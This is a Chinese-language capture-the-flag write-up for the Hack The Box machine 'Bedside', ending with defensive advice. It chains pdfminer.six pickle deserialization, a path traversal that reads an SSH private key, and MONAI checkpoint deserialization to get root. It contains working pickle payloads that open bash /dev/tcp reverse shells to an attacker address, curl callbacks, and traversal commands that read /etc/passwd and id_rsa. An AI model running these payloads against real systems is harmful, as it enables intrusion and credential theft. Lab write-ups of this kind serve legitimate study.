BedsideHTB渗透测试Writeup—从PDF反序列化到Root"

admin 2026-10-18 04:44:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

Bedside%20HTB%20渗透测试%20Writeup%20—%20从%20PDF%20反序列化到%20Root

网安之家-CyberHomestead

2026年7月19日%2021:52
上海

在小说阅读器读本章

去阅读

Bedside%20HTB%20渗透测试%20Writeup%20—%20从%20PDF%20反序列化到%20Root

本文遵循负责任披露原则,已对敏感信息进行脱敏处理。Flag、密钥、IP%20等信息已遮挡,请勿直接抄袭。本文旨在分享渗透测试方法论与思路,而非提供现成答案。


0x00%20机器信息
项目 信息
机器名称 Bedside
难度 Hard
标签 Web,%20RCE,%20Container,%20Privilege%20Escalation
涉及%20CVE CVE-2025-64512,%20CVE-2025-58756
攻击链长度 4%20步(RCE%20→%20路径遍历%20→%20SSH%20→%20提权)

0x01%20网络拓扑图
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20┌─────────────────────────────┐
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 %20 %20 攻击者%20(Kali%20Linux)%20 %20 %20 │
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 %20 %20 %2010.10.x.x%20 %20 %20 %20 %20 %20 %20 │
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20└──────────┬──────────────────┘
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20┌──────────────┼──────────────────┐
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20HTTP/SSH%20 %20 %20│%20 %20 %20 %20 %20 %20 %20 %20 %20 │
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20▼%20 %20 %20 %20 %20 %20 %20 ▼%20 %20 %20 %20 %20 %20 %20 %20 %20 │
┌───────────────────────────────────────────────────────────────┐
│%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 目标机器%20bedside%20(10.129.x.x)%20 %20 %20 %20 %20 %20 %20 %20 │
│%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│
│%20 ┌─────────────────────────────────────────────────────────┐%20 │
│%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 宿主机%20(Host)%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 :22%20 SSH%20←──────────%20developer%20用户%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │%20 │
│%20 │%20 :80%20 Apache%20+%20PHP-FPM%20(research.bedside.htb)%20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 :3000%20esm.sh/x%20开发服务器%20←──%20路径遍历%20 %20 %20 %20 %20 %20 %20 %20 %20 │%20 │
│%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 /datastore/%20←────%20共享卷%20────┐%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 /var/www/.../uploads/%20←%20共享卷%20┤%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │%20 │
│%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 ┌────────────────────────────┴──────────────────────┐%20 │%20 │
│%20 │%20 │%20 %20 %20 %20 %20 Docker%20容器%20(data-wrangler)%20 %20 %20 %20 %20 %20 %20 %20│%20 │%20 │
│%20 │%20 │%20 %20 %20 %20 %20 172.17.0.2%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │%20 │
│%20 │%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │%20 │
│%20 │%20 │%20 /app/pdf_watcher.py%20(每30秒扫描PDF)%20 %20 %20 %20 %20 %20 %20 │%20 │%20 │
│%20 │%20 │%20 /datastore/checkpoints/%20←%20恶意.pt%20放这里%20 %20 %20 %20 %20 │%20 │%20 │
│%20 │%20 │%20 /datastore/staging/%20←%20需要放有效图片%20 %20 %20 %20 %20 %20 %20 │%20 │%20 │
│%20 │%20 │%20 pdfminer.six%20==%2020250506%20(漏洞版本)%20 %20 %20 %20 %20 %20 %20 │%20 │%20 │
│%20 │%20 └───────────────────────────────────────────────────┘%20 │%20 │
│%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 sudo:%20developer%20→%20(ALL)%20python3%20/opt/trainer/...py%20 %20 │%20 │
│%20 │%20 MONAI%201.5.0%20+%20PyTorch%20(CheckpointLoader%20反序列化)%20 %20 %20 │%20 │
│%20 └─────────────────────────────────────────────────────────┘%20 │
└───────────────────────────────────────────────────────────────┘

0x02%20渗透测试攻击路径图
步骤1:%20CVE-2025-64512%20(pdfminer.six%20pickle反序列化)
┌──────────────────┐%20 %20 %20┌──────────────────┐%20 %20 %20┌──────────────────┐
│%20上传%20evil.pickle%20 │────▶│%20上传%20trigger%20PDF%20 │────▶│%20pdfminer%20处理%20PDF%20│
│%20(polyglot:%20gzip%20 %20│%20 %20 %20│%20(/Encoding%20指向%20 %20│%20 %20 %20│%20→%20加载%20pickle%20 %20 │
│%20 +%20pickle%20+%20PDF)%20 │%20 %20 %20│%20 evil.pickle.gz)%20 │%20 %20 %20│%20→%20RCE%20 %20 %20 %20 %20 %20 │
└──────────────────┘%20 %20 %20└──────────────────┘%20 %20 %20└────────┬─────────┘
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20▼
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20datawrangler@data-wrangler
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20(Docker%20容器%20shell)
 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│
步骤2:%20esm.sh/x%20路径遍历%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │
┌──────────────────────────────────────────┐%20 %20 %20 %20 %20 %20 %20 │
│%20curl%20--path-as-is%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │◀─────────────┤
│%20\"http://172.17.0.1:3000/../../../../%20 %20 %20 │
│%20 home/developer/.ssh/id_rsa\"%20 %20 %20 %20 %20 %20 %20│
└──────────────────┬───────────────────────┘
 %20 %20 %20 %20 %20 %20 %20 %20 %20 │%20读取到%20developer%20SSH%20私钥
 %20 %20 %20 %20 %20 %20 %20 %20 %20 ▼
步骤3:%20SSH%20登录宿主机
┌──────────────────┐
│%20ssh%20-i%20key%20 %20 %20 %20│────▶%20developer@bedside%20(宿主机)
│%20developer@target%20│%20 %20 %20sudo%20-l%20→%20可运行%20MONAI%20trainer
└──────────────────┘
 %20 %20 %20 %20 %20 %20 %20 %20 %20 │
步骤4:%20CVE-2025-58756%20(MONAI%20CheckpointLoader%20反序列化)%20 %20 │
┌──────────────────────────────┐%20 %20 %20┌──────────────────┐│
│%20容器:%20写%20evil.pt%20到%20 %20 %20 %20 %20 %20│────▶│%20developer:%20 %20 %20 %20││
│%20/datastore/checkpoints/%20 %20 %20 │%20 %20 %20│%20sudo%20python3%20 %20 %20││
│%20容器:%20放%20test.png 到 staging  │     │ bedside_trainer  ││
└──────────────────────────────┘     └────────┬─────────┘│
                                             │           │
                                             ▼           │
                                    CheckpointLoader     │
                                    → torch.load()      │
                                    → pickle.load()     │
                                    → RCE as root        │
                                             │           │
                                             ▼           │
                                    root@bedside         │
                                    cat /root/root.txt  │
                                    ████████████████     │

0x03 侦察阶段

3.1 端口扫描

nmap -sC -sV -oA bedside 10.129.x.x

# 结果
22/tcp   open  ssh     OpenSSH
80/tcp   open  http    Apache httpd

3.2 子域名枚举

ffuf -u http://10.129.x.x -H \"Host: FUZZ.bedside.htb\" -w /usr/share/wordlists/dirb/common.txt -fs 10918

# 发现
research.bedside.htb    (200, 与主站不同)

3.3 子站探测

# 添加 hosts
echo \"10.129.x.x research.bedside.htb\" >> /etc/hosts

# 访问 research 子站
curl -s http://research.bedside.htb/
# 发现文件上传功能

3.4 上传测试 — 发现 pdfminer.six

# 上传测试文件,抓取响应头
curl -sv -X POST http://research.bedside.htb/ \\
  -F \"[email protected]\" 2>&1 | grep -i \"powered\\|server\\|x-\"

# 关键发现
# X-Powered-By: pdfminer.six

玄机 #1: X-Powered-By 头直接暴露了后端使用的 PDF 处理库。用 Burp Suite 抓上传请求的响应就能看到。这是一个被忽略的早期线索。


0x04 漏洞研究 — CVE-2025-64512

4.1 漏洞原理

pdfminer.six 的 CMapDB._load_data() 函数使用 pickle.loads() 反序列化 .pickle.gz 文件:

# 漏洞代码 (pdfminer/cmapdb.py)
def _load_data(cls, name: str) -> Any:
    name = name.replace(\"\\0\", \"\")           # 不充分的过滤
    filename = \"%s.pickle.gz\" % name
    path = os.path.join(directory, filename) # 绝对路径时 directory 被忽略
    return type(str(name), (), pickle.loads(gzfile.read()))  # 不安全反序列化

攻击者可以在 PDF 的 /Encoding 字段指定任意路径,pdfminer 会加载该路径的 .pickle.gz 文件并反序列化。

4.2 利用条件

    1. 上传恶意 .pickle.gz 文件到服务器可访问的路径
    1. 上传 trigger PDF,其 /Encoding 指向 .pickle.gz 的路径
    1. pdfminer 处理 trigger PDF 时加载并反序列化恶意 pickle

4.3 关键约束

  • • pickle.loads() 的返回值会被传给 type(name, (), result),所以必须返回 dict
  • • pdfminer 按 CMap 名缓存,同名文件不会二次加载
  • • trigger PDF 必须使用完整的 Type0 字体结构(/DescendantFonts + /CIDFontType2 + /FontDescriptor)

0x05 Foothold — 容器 RCE

5.1 Payload 构造

import gzip, pickle

# pickle payload: 执行命令并返回 dict
cmd = \"curl http://10.10.x.x:8000/EXEC;bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'\"
code = f\"__import__('subprocess').Popen({repr(cmd)},shell=True) or {{}}\"

class RCE:
    def __reduce__(self):
        return (eval, (code,))

payload = pickle.dumps(RCE())

# 构造 polyglot: gzip + PDF in FCOMMENT
base_gz = gzip.compress(payload)
gz = bytearray(base_gz)
gz[3] |= 0x10  # 设置 FCOMMENT flag

pdf = b\"\"\"%PDF-1.4
1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj
2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj
3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000052 00000 n
0000000101 00000 n
trailer<</Size 4/Root 1 0 R>>
startxref
149
%%EOF
\"\"\"
comment = b\"\
\" + pdf + b'\\x00'
new_gz = bytearray(gz[:10]) + comment + bytearray(gz[10:])

with open(\"payload.pickle.gz\", \"wb\") as f:
    f.write(new_gz)

5.2 Trigger PDF 构造

# /Encoding 指向 payload.pickle.gz 的服务器路径
# 路径必须包含完整 vhost 名!
encoding_path = \"#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fpayload\"
# 解码后 = /var/www/research.bedside.htb/uploads/payload
# pdfminer 会找 /var/www/research.bedside.htb/uploads/payload.pickle.gz

pdf = f\"\"\"%PDF-1.4
1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
  /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >> endobj
4 0 obj << /Length 44 >> stream
BT /F1 12 Tf 100 700 Td (X) Tj ET
endstream endobj
5 0 obj << /Type /Font /Subtype /Type0
  /BaseFont /MaliciousFont-Identity-H
  /Encoding /{encoding_path}
  /DescendantFonts [6 0 R] >> endobj
6 0 obj << /Type /Font /Subtype /CIDFontType2
  /BaseFont /MaliciousFont /CIDSystemInfo
  << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >>
  /FontDescriptor 7 0 R >> endobj
7 0 obj << /Type /FontDescriptor /FontName /MaliciousFont
  /Flags 4 /FontBBox [-1000 -1000 1000 1000]
  /ItalicAngle 0 /Ascent 1000 /Descent -200
  /CapHeight 800 /StemV 80 >> endobj
xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer << /Size 8 /Root 1 0 R >>
startxref
871
%%EOF
\"\"\"

玄机 #2: CMap 路径必须是 /var/www/research.bedside.htb/uploads/,包含完整 vhost 名。少了 .bedside.htb 就触发不了。这个路径在容器内的 /app/pdf_watcher.py 源码中可以直接找到。

5.3 上传与触发

# 1. 上传 pickle payload
curl -s -X POST http://research.bedside.htb/ -F \"[email protected]\"

# 2. 上传 trigger PDF(pdfminer 30秒内自动处理)
curl -s -X POST http://research.bedside.htb/ -F \"[email protected]\"

# 3. 在 Kali 上监听
nc -lvnp 4444

# 等待约 30 秒,收到 shell
# datawrangler@data-wrangler:/app$

玄机 #3: pdf_watcher.py 每 30 秒扫描一次 uploads 目录。触发是异步的,不是即时。需要耐心等待。

5.4 容器内信息收集

# 确认身份
id
# uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops)

# 查看应用源码 — 发现关键路径
cat /app/pdf_watcher.py
# UPLOAD_DIR = \"/var/www/research.bedside.htb/uploads\"  ← 正确路径!

# 查看挂载点
cat /proc/mounts | grep -v proc | grep -v sys
# /dev/sda4 /datastore ext4 rw  ← 共享卷
# /dev/sda4 /var/www/research.bedside.htb/uploads ext4 rw  ← 共享卷

# 扫描 Docker 网关
for port in 80 3000; do
  curl -s -o /dev/null -w \"$port: %{http_code}\
\" http://172.17.0.1:$port/
done
# 80: 301  (Apache)
# 3000: 200 (esm.sh/x 开发服务器)

0x06 路径遍历 — 读取宿主机文件

6.1 发现 esm.sh/x 服务器

curl -s http://172.17.0.1:3000/ | head -5
# <title>Bedside Clinic - Image Viewer</title>
# Built with esm.sh/x

curl -sI http://172.17.0.1:3000/
# HTTP/1.1 200 OK
# Etag: w/\"...\"  ← Go 风格 Etag

6.2 路径遍历 — 关键:--path-as-is

# ❌ 普通 curl — 会规范化 ../,服务器收不到遍历请求
curl -s \"http://172.17.0.1:3000/../../../../etc/passwd\"
# Not Found

# ✅ 加 --path-as-is — 发送原始路径
curl -s --path-as-is \"http://172.17.0.1:3000/../../../../etc/passwd\"
# root:x:0:0:root:/root:/bin/bash
# ...
# developer:x:1000:1000:developer,,,:/home/developer:/bin/bash
# datawrangler:x:988:1001::/home/datawrangler:/bin/sh

玄机 #4: curl 默认会规范化 URL 中的 ../,导致服务器收到的不是路径遍历请求。必须加 --path-as-is 参数。这是整个攻击链中最隐蔽的一个坑。

6.3 读取 SSH 私钥

curl -s --path-as-is \"http://172.17.0.1:3000/../../../../home/developer/.ssh/id_rsa\"
# -----BEGIN OPENSSH PRIVATE KEY-----
# [已脱敏]
# -----END OPENSSH PRIVATE KEY-----

# 读取 user flag
curl -s --path-as-is \"http://172.17.0.1:3000/../../../../home/developer/user.txt\"
# ████████████████████████████████  (已脱敏)

6.4 SSH 登录宿主机

# 在 Kali 上
chmod 600 developer_key
ssh -i developer_key [email protected]

# 成功登录
# developer@bedside:~$

6.5 检查 sudo 权限

sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py

0x07 提权 — MONAI Trainer 反序列化

7.1 漏洞分析

cat /opt/trainer/bedside_trainer.py

关键代码:

from monai.handlers import CheckpointLoader

# 查找最新的 .pt 文件
latest_ckpt = find_latest_checkpoint(CHECKPOINT_DIR)  # /datastore/checkpoints/*.pt

if latest_ckpt:
    loader = CheckpointLoader(
        load_path=str(latest_ckpt),
        load_dict={\"model\": model, \"optimizer\": optimizer},
        map_location=DEVICE
    )
    loader(engine)  # ← 这里触发 torch.load() → pickle.load()

CheckpointLoader 内部调用 torch.load(),而 torch.load() 使用 pickle.load() 反序列化 .pt 文件。

7.2 攻击计划

datawrangler (容器)                    developer (宿主机)
     │                                      │
     ├─ 写 evil.pt → /datastore/checkpoints/│
     ├─ 写 test.png → /datastore/staging/   │
     ├─ 清理 .txt 文件                       │
     │                                      │
     │                                      ├─ sudo python3 trainer.py
     │                                      │   → 加载 test.png (成功)
     │                                      │   → 加载 evil.pt
     │                                      │   → pickle 反序列化
     │                                      │   → ROOT SHELL
     └────────────── 共享卷 ────────────────┘

7.3 在容器中准备文件

# === 在 datawrangler 容器中执行 ===

# 1. 清理 staging 中的 .txt(pdf_watcher 生成的)
rm -f /datastore/staging/*.txt /datastore/processed/*.txt

# 2. 删除 uploads 中的 PDF(阻止 watcher 生成新 .txt)
rm -f /var/www/research.bedside.htb/uploads/*.pdf
rm -f /var/www/research.bedside.htb/uploads/*.pickle.gz

# 3. 创建有效 PNG 图片(trainer 需要能加载的图片)
python3 -c \"
import struct, zlib
w, h = 1, 1
raw = b'\\x00' + b'\\xff\\x00\\x00' * w
comp = zlib.compress(raw)
def ch(t, d):
    c = t + d
    return struct.pack('>I', len(d)) + c + struct.pack('>I', zlib.crc32(c) & 0xffffffff)
png = b'\\x89PNG\\r\
\\x1a\
'
png += ch(b'IHDR', struct.pack('>IIBBBBB', w, h, 8, 2, 0, 0, 0))
png += ch(b'IDAT', comp)
png += ch(b'IEND', b'')
with open('/datastore/staging/test.png', 'wb') as f:
    f.write(png)
\"

# 4. 创建恶意 .pt 文件(pickle RCE)
python3 -c \"
import pickle, os
class Evil:
    def __reduce__(self):
        return (os.system, ('bash -c \\\"bash -i >& /dev/tcp/10.10.x.x/4445 0>&1\\\"',))
with open('/datastore/checkpoints/evil.pt', 'wb') as f:
    pickle.dump(Evil(), f)
\"

# 5. 确认文件
ls -la /datastore/staging/    # 只有 test.png
ls -la /datastore/processed/  # 空
ls -la /datastore/checkpoints/ # 只有 evil.pt

玄机 #5: trainer 先加载图片数据,然后才加载 checkpoint。如果图片加载失败(比如 staging 里有 .txt 文件),永远不会执行到 checkpoint 加载。所以必须清理 .txt 并放一个有效 PNG。

7.4 触发提权

# === 在 Kali 上监听 ===
nc -lvnp 4445

# === 在 developer SSH 中执行(30秒内,趁 watcher 没生成新 .txt)===
sudo /usr/bin/python3 /opt/trainer/bedside_trainer.py

# trainer 输出:
# Promoted 1 files from staging -> processed
# Using 1 samples for training.
# Auto-detected input features: 12288
# Found checkpoint /datastore/checkpoints/evil.pt, loading with CheckpointLoader...

# Kali 上收到 root shell!
# root@bedside:/home/developer#
id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt
# ████████████████████████████████  (已脱敏)

0x08 完整渗透测试拓扑图

┌─────────────────────────────────────────────────────────────────────────┐
│                           攻击链全景图                                   │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  ┌──────────┐    ①上传pickle+PDF     ┌──────────────────────────────┐  │
│  │          │ ─────────────────────▶ │ research.bedside.htb (:80)   │  │
│  │  Kali    │                        │   ↓ pdf_watcher (30s)        │  │
│  │ 10.10.x.x│    ②收到反弹shell       │   ↓ pdfminer.six RCE         │  │
│  │          │ ◀───────────────────── │   ↓                           │  │
│  │  :4444   │                        │ Docker 容器 (data-wrangler)  │  │
│  │  :4445   │                        │   datawrangler@data-wrangler │  │
│  │  :8000   │                        └──────────┬───────────────────┘  │
│  └────┬─────┘                                   │                       │
│       │                                         │ ③路径遍历              │
│       │                                         ▼                       │
│       │    ④SSH登录              ┌──────────────────────────────┐      │
│       └─────────────────────────│ 172.17.0.1:3000 (esm.sh/x)   │      │
│                                 │ curl --path-as-is /../../../  │      │
│                                 │ → 读取 developer SSH 私钥     │      │
│                                 │ → 读取 user.txt               │      │
│                                 └──────────┬───────────────────┘      │
│                                            │                           │
│                                            │ ⑤SSH                     │
│                                            ▼                           │
│                                 ┌──────────────────────────────┐      │
│                                 │ developer@bedside (宿主机)    │      │
│                                 │                              │      │
│                                 │ sudo: python3 trainer.py     │      │
│                                 │                              │      │
│                                 │ ⑥容器写 evil.pt → checkpoints│      │
│                                 │   容器写 test.png → staging  │      │
│                                 │   developer sudo trainer.py  │      │
│                                 │   → CheckpointLoader         │      │
│                                 │   → torch.load()             │      │
│                                 │   → pickle.load()            │      │
│                                 │   → ROOT RCE                 │      │
│                                 │                              │      │
│                                 │ root@bedside                 │      │
│                                 │ cat /root/root.txt           │      │
│                                 │ ████████████████             │      │
│                                 └──────────────────────────────┘      │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

0x09 踩坑总结

# 坑 浪费时间 教训
1 CMap 路径少写 .bedside.htb ~3小时 路径必须和 vhost 名一致;先读源码确认
2 curl 默认规范化 ../ ~1小时 用 --path-as-is 发送原始路径
3 pdfminer CMap 缓存 ~30分钟 每次用新的 CMap 名字
4 端口 4444 被防火墙挡 ~1小时 先验证端口可达性(curl 回调)
5 staging 的 .txt 导致 trainer 崩溃 ~30分钟 清理 .txt + 删除 uploads 中的 PDF
6 developer 无法写 /datastore ~15分钟 两个立足点配合,容器写文件,宿主机执行

0x10 防御建议

  1. 1. 升级 pdfminer.six 到 ≥ 20251107(移除了 pickle 反序列化,改用 JSON)
  2. 2. 升级 MONAI 到修复 CVE-2025-58756 的版本
  3. 3. 限制 sudo 权限,避免 developer 能以 root 运行 Python 脚本
  4. 4. 容器隔离,datawrangler 不应能访问宿主机服务(端口 3000)
  5. 5. 路径遍历防护,esm.sh/x 服务器应验证请求路径不包含 ../
  6. 6. 移除 X-Powered-By 头,不暴露后端技术栈
  7. 7. SSH 密钥保护,私钥应设置 passphrase
  8. 8. 共享卷权限,/datastore 不应对 datawrangler 可写

0x11 时间线

时间 事件
T+0h 端口扫描、子域名枚举、发现 research.bedside.htb
T+0.5h 发现文件上传功能、X-Powered-By: pdfminer.six
T+1h 研究 CVE-2025-64512、构造 polyglot payload
T+2h 上传测试、verify 回调成功
T+3h attack 反复失败(路径错误)
T+5h 发现正确路径 /var/www/research.bedside.htb/uploads/
T+5.5h 拿到 datawrangler 容器 shell
T+6h 发现端口 3000 路径遍历(--path-as-is)
T+6.5h 读取 SSH 私钥、登录 developer
T+7h 分析 MONAI trainer、构造恶意 .pt 文件
T+7.5h 拿到 root shell